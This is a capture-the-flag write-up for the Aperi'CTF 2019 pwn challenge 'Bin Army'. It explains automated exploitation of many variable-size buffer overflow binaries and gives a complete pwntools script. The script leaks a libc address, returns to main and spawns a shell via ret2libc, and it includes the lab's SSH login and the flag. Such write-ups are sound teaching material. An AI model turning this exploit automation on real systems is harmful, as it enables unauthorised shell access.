Aperi’CTF 2019 - Bin Army
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
Aperi’CTF 2019 | Bin Army | Pwn | 175 | 3 |
SecureByDesign Corp propose un moyen révolutionnaire permettant de limiter la contagion des virus utilisant des buffers overflow pour se répandre. La solution était pourtant simple : utiliser des buffers ayant des tailles variables ! “Bah oui, de cette manière, un exploit ne marchera jamais partout, c’est pourtant simple !” - Jean Michel Crédible, CEO de SecureByDesign Corp
Chaque fichier sensible est caché par un binaire différent, à vous de leur prouver que leur solution ne vaut pas la peau d’un smourbiff !
Accès au serveur :
ssh -p 31340 -o StrictHostKeyChecking=no chall@binarmy1.aperictf.fr # 7heqDtFq6b83qx9s
TL;DR
This challenge aims to show that the exploit generation can be automated, and that an exploit can also be made in a generic way to handle different variations of a bug. The final implementation is up to the attacker / CTFer.
The vulnerability proposed is a simple buffer overflow and can be solver with a ret2main + leak libc base address + ret2libc system(/bin/sh)
.
Methodology
For every binary in the readable directory we will :
- Find its library and useful symbols (here, fflush, rintf, main, …)
- Fuzz manually and automate the crash offset detection
- Use the strings and leaked functions to construct our exploit
- Enjoy our new flag char !
First we will leak the fflush address by using printf@plt("%s\n", fflush@got)
and compute the libc base address with a substraction.
As this program is not PIC we can use the statical address in the plt, got, and main. So stage 1 is leak + ret2main :
# Disassemble the binary and get the crash offset to control EIP
offset = int(elf.disasm(vuln, (main - vuln)).split('\n')[18].split('[ebp-')[1].split(']')[0][2:], 16)
offset += 4 # ebp
print('> Offset: 0x%x' % (offset))
# Leak fflush address.
payload = 'A'*offset
payload += pack(plt_printf)
payload += pack(main)
payload += pack(str_format)
payload += pack(got_fflush)
libc_base = fflush - libc_fflush
Once we’re back in main with the libc address in our hands, execve("/bin/sh", 0, 0)
and there we go! We’ll also do a neat ret2exit to close the program without a dirty crash =]
# system('/bin/sh')
payload = 'A'*offset
payload += pack(libc_base + libc_system)
payload += pack(libc_base + libc_exit)
payload += pack(libc_base + libc_binsh)
We then use our shell to get the char of the password, we sort the files by name, and BOOM!
Note that this solution works both with and without ASLR =]
Still curious? Have a look to the full exploit!
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import re
context.arch = 'i386'
context.log_level = 'error'
USER = 'chall'
HOST = 'binarmy1.aperictf.fr'
PASSWORD = '7heqDtFq6b83qx9s'
FLAG_PATH = '/home/chall/flag'
R_CHALL_DIR = '/home/chall/bin'
L_CHALL_DIR = './bin'
PORT = 31340
PROMPT = '$'
conn = ssh(USER, HOST, port=PORT, password=PASSWORD)
## Download challenge files.
if not os.path.isdir(L_CHALL_DIR):
conn.download_dir(remote=R_CHALL_DIR, local='./')
## Exploit challenges.
flag = ''
for chall in filter(re.compile(r'^bof_[0-9]+$').match, os.listdir(L_CHALL_DIR)):
chall_path = '%s/%s' % (L_CHALL_DIR, chall)
flag_path = '%s/%s' % (FLAG_PATH, chall[-2:])
print('=== %s ===' % (chall_path))
# Fix POSIX mod.
os.chmod('%s/%s' % (L_CHALL_DIR, chall), 0o550)
# Search for libc.
libs = conn.libs(chall_path, L_CHALL_DIR)
libc_path = ''
for lib in libs:
if 'libc' in lib and libc_path == '':
libc_path = lib
# Load ELF/libc.
elf = ELF(chall_path, checksec=False)
libc = ELF(libc_path)
# Dump symbols.
vuln = elf.symbols['vuln']
main = elf.symbols['main']
plt_printf = elf.plt['printf']
got_fflush = elf.got['fflush']
str_format = next(elf.search('%s\n\x00'))
## libc relative symbols.
libc_binsh = next(libc.search('/bin/sh\x00'))
libc_system = libc.symbols['system']
libc_fflush = libc.symbols['fflush']
libc_exit = libc.symbols['exit']
# Get EIP offset.
offset = int(elf.disasm(vuln, (main - vuln)).split('\n')[18].split('[ebp-')[1].split(']')[0][2:], 16)
offset += 4 # ebp
print('> Offset: 0x%x' % (offset))
# Leak fflush address.
payload = 'A'*offset
payload += pack(plt_printf)
payload += pack(main)
payload += pack(str_format)
payload += pack(got_fflush)
p = conn.process(argv=chall_path)
p.recvuntil('GiveMeF00D > ')
p.sendline(payload)
p.recvuntil('Nom nom nom...', timeout=0.5)
fflush = unpack(p.read(4))
print('> Leaked fflush: 0x%x' % fflush)
# Compute libc base.
libc_base = fflush - libc_fflush
print('> Libc base: 0x%x' % libc_base)
# system('/bin/sh')
payload = 'A'*offset
payload += pack(libc_base + libc_system)
payload += pack(libc_base + libc_exit)
payload += pack(libc_base + libc_binsh)
p.recvuntil('GiveMeF00D > ')
p.sendline(payload)
p.recvuntil(PROMPT)
# cat flag
p.sendline('/bin/cat %s' % flag_path)
flag += p.recvuntil(PROMPT).replace(PROMPT, '').strip()
print('> Flag: %s' % flag)
p.close()
# conn.interactive()
Flag : APRK{they_are_legion}
Happy hacking !